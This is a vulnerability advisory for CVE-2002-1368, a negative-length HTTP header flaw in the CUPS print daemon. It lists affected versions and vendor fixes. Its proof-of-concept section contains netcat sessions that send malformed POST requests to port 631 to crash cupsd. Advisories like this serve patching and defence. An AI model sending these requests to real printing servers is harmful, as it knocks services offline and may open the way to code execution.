BID:6437

CUPS Negative Length HTTP Header Vulnerability

Info

CUPS Negative Length HTTP Header Vulnerability

Bugtraq ID:	6437
Class:	Boundary Condition Error
CVE:	CVE-2002-1368
Remote:	Yes
Local:	No
Published:	Dec 19 2002 12:00AM
Updated:	Jul 11 2009 07:16PM
Credit:	Discovered by zen-parse.
Vulnerable:	Easy Software Products CUPS 1.1.17 + Redhat Desktop 3.0 + Redhat Enterprise Linux AS 3 + Redhat Enterprise Linux ES 3 + Redhat Enterprise Linux WS 3 Easy Software Products CUPS 1.1.16 + Mandriva Linux Mandrake 9.0 Easy Software Products CUPS 1.1.15 + Conectiva Linux Enterprise Edition 1.0 + SuSE Linux 8.1 Easy Software Products CUPS 1.1.14 + Debian Linux 3.0 sparc + Debian Linux 3.0 s/390 + Debian Linux 3.0 ppc + Debian Linux 3.0 mipsel + Debian Linux 3.0 mips + Debian Linux 3.0 m68k + Debian Linux 3.0 ia-64 + Debian Linux 3.0 ia-32 + Debian Linux 3.0 hppa + Debian Linux 3.0 arm + Debian Linux 3.0 alpha + Debian Linux 3.0 + Mandriva Linux Mandrake 8.2 ppc + Mandriva Linux Mandrake 8.2 Easy Software Products CUPS 1.1.13 Easy Software Products CUPS 1.1.12 + SuSE Linux 8.0 i386 + SuSE Linux 8.0 Easy Software Products CUPS 1.1.10 + Caldera OpenLinux Server 3.1.1 + Caldera OpenLinux Workstation 3.1.1 + Mandriva Linux Mandrake 8.1 ia64 + Mandriva Linux Mandrake 8.1 + SuSE Linux 7.3 sparc + SuSE Linux 7.3 ppc + SuSE Linux 7.3 i386 Easy Software Products CUPS 1.1.7 Easy Software Products CUPS 1.1.6 + Caldera OpenLinux Server 3.1 + Caldera OpenLinux Workstation 3.1 + Mandriva Linux Mandrake 8.0 ppc + Mandriva Linux Mandrake 8.0 + SuSE Linux 7.2 i386 + SuSE Linux 7.1 x86 + SuSE Linux 7.1 sparc + SuSE Linux 7.1 ppc + SuSE Linux 7.1 alpha Easy Software Products CUPS 1.1.4 -5 Easy Software Products CUPS 1.1.4 -3 + Mandriva Linux Mandrake 7.2 Easy Software Products CUPS 1.1.4 -2 + Debian Linux 2.3 Easy Software Products CUPS 1.1.4 + Debian Linux 2.3 + Mandriva Linux Mandrake 7.2 Easy Software Products CUPS 1.1.1 + Redhat PowerTools 7.0 Easy Software Products CUPS 1.0.4 -8 + Debian Linux 2.2 Easy Software Products CUPS 1.0.4 + Debian Linux 2.2 Apple Mac OS X 10.2.2 Apple Mac OS X 10.2

Not Vulnerable:	Easy Software Products CUPS 1.1.18 + MandrakeSoft Corporate Server 2.1 x86_64 + MandrakeSoft Corporate Server 2.1 + MandrakeSoft Multi Network Firewall 2.0 + Mandriva Linux Mandrake 9.0 + S.u.S.E. Linux Personal 8.2 Apple Mac OS X 10.2.3

Discussion

CUPS Negative Length HTTP Header Vulnerability

A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.

An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.

This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.

*** January 05, 2003

There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.

Exploit / POC

CUPS Negative Length HTTP Header Vulnerability

The following proof of concepts were provided by iDefense:
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked

- - - - -FFFFFFFE

Gabriel A. Maggiotti <[email protected]> has developed proof of concept code that will exploit this vulnerability to crash target servers.

/data/vulnerabilities/exploits/shutdown_Cups.c
/data/vulnerabilities/exploits/sigcups.c

Solution / Fix

CUPS Negative Length HTTP Header Vulnerability

Solution:
Conectiva has released advisory CLA-2003:702 to address this issue. Further information regarding obtaining and applying fixes can be found in the referenced advisory.

It is recommended that all Gentoo Linux users who are running
net-print/cups-1.1.17_pre20021025 or earlier update their systems as
follows:

emerge rsync
emerge cups
emerge clean

Debian has released a security advisory (DSA 232-1) containing fixes. Users are advised to upgrade as soon as possible.

** Debian has released an updated advisory (DSA 232-2) containing links to corrected fixes containing the proper dependencies for libPNG.

This vulnerability is eliminated in CUPS 1.1.18. Red Hat is currently developing fixes. Apple MacOS X 10.2.3 and MacOS X Server 10.2.3 are not vulnerable.

Easy Software Products CUPS 1.0.4 -8